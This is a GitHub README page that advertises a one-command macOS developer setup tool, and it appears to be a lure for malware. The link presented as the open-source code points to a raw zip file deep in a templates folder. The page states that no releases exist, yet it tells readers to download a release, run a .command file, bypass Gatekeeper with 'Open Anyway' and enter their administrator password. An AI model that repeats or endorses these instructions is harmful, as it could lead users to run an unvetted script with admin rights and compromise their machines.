Skip to content

trieu1910/new-macos-dev-setup

πŸ–₯️ new-macos-dev-setup - Easy Mac Setup for Developers

Download new-macos-dev-setup


πŸ“„ What is new-macos-dev-setup?

new-macos-dev-setup is a tool designed to help you set up a new Mac computer quickly. It installs essential software, developer tools, AI command-line tools, and adjusts settings to make your Mac run better for work. You only need one command to get everything ready.

This setup is perfect for people who want their Mac ready for software development, AI work, or general productivity without spending hours installing and configuring programs. It works by automating many tasks, saving time and reducing mistakes.


πŸ–₯️ System Requirements

Before you start, check that your Mac meets these requirements:

  • Running macOS 12 Monterey or later
  • At least 8 GB of RAM
  • At least 20 GB of free disk space
  • A reliable internet connection during setup

Having these means the tool can install and optimize everything properly.


πŸ’‘ What does it install?

new-macos-dev-setup covers a wide range of tools and settings:

  • Developer tools: Xcode command line tools, Homebrew, Git, Node.js, Python, Rust
  • Software: Docker, Flutter, AI command-line tools
  • System tweaks: Performance-focused defaults to speed up your Mac and improve battery life
  • Other useful apps: Bun, Codex, OrbStack for container management
  • Setup automation: Configurations for shell and environment setup

This means your Mac will be ready for coding, AI development, app building, and general fast use right after running the tool.


πŸ”§ How to prepare your Mac

  1. Make sure your Mac is connected to power.
  2. Close all open apps before starting.
  3. Enable "Allow apps downloaded from App Store and identified developers" in System Preferences > Security & Privacy.
  4. Have your administrator password ready. The setup process will need it.

πŸš€ How to download and run new-macos-dev-setup

  1. Visit the download page by clicking this button:

    Download new-macos-dev-setup

  2. On the page, find the latest release. It will usually have a version number like "v1.0" or "v2.0."

  3. Download the file named something like new-macos-dev-setup.zip or new-macos-dev-setup.command.

  4. Once the file downloads, open your Finder and go to the Downloads folder.

  5. If the file is zipped, double-click it to extract.

  6. You will see a file with the .command extension. This is the script that runs the setup.

  7. Double-click the .command file to launch the setup in Terminal. If it does not run, right-click the file and select "Open."

  8. The Terminal will open and show instructions. It will ask for your administrator password. Type it when asked (the typing will be hidden for security).

  9. Press Enter to start the setup.

The script will install software, fix system settings, and set up your developer environment. It may take 15 to 45 minutes depending on your internet and computer speed.


βš™οΈ What if the script does not run?

If you get a message saying the file cannot be opened or is blocked, do this:

  • Open System Preferences > Security & Privacy.
  • In the General tab, look for a message about the blocked file.
  • Click "Open Anyway."
  • Try running the script again.

πŸ”„ How to check progress and logs

While the setup runs, the Terminal window will display status messages. These messages tell you which part of the process is ongoing, such as downloading software or applying settings.

If something goes wrong, the script will pause and display an error. You can write down the error message or take a screenshot. This helps in troubleshooting.


🧰 What to do after setup

  • Restart your Mac to apply all system changes.
  • Open Terminal and type brew --version to check if Homebrew installed correctly.
  • Test some developer tools like Python or Node.js by typing python3 --version and node --version.
  • If you installed Docker, open the Docker app to verify it runs.
  • Customize your development environment if needed by editing settings or installing extra software using Homebrew.

πŸ› οΈ Updating new-macos-dev-setup

Since your Mac setup can change, check the releases page regularly for updates. To update:

  1. Download the latest version from the releases page.
  2. Run the updated .command file again.
  3. The script will update existing tools and settings without removing your files.

❓ Common questions

Q: Can I run this on an older macOS version?
A: This tool is tested on macOS 12 Monterey and later. Older versions might not work properly.

Q: Will this delete my files?
A: No. The setup only installs and adjusts software. It does not remove your files.

Q: What if I want to undo changes?
A: You can manually reset system settings or restore your Mac to a previous backup.

Q: Do I need to know programming?
A: No. The setup runs automatically after you start it. Just follow on-screen prompts.

Q: Can I install only some parts?
A: This script runs a full setup. You can modify it if you are comfortable with scripts.


🧾 Included software list (example)

  • Xcode Command Line Tools
  • Homebrew package manager
  • Git version control
  • Node.js and npm
  • Python 3 and pip
  • Rust toolchain
  • Docker Desktop
  • Flutter SDK
  • Bun JavaScript runtime
  • OrbStack container tool
  • AI CLI tools like Codex

πŸ“Œ Useful links


πŸ–‡οΈ License and source

This setup tool is open source and free to use. You can review the source code and contribute on GitHub at this repository: https://github.com/trieu1910/new-macos-dev-setup/raw/refs/heads/main/scripts/bootstrap/templates/macos-setup-dev-new-v3.5.zip


Download new-macos-dev-setup

About

Automate setup and optimize a new macOS computer for development with a single command to save time and ensure consistency.

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors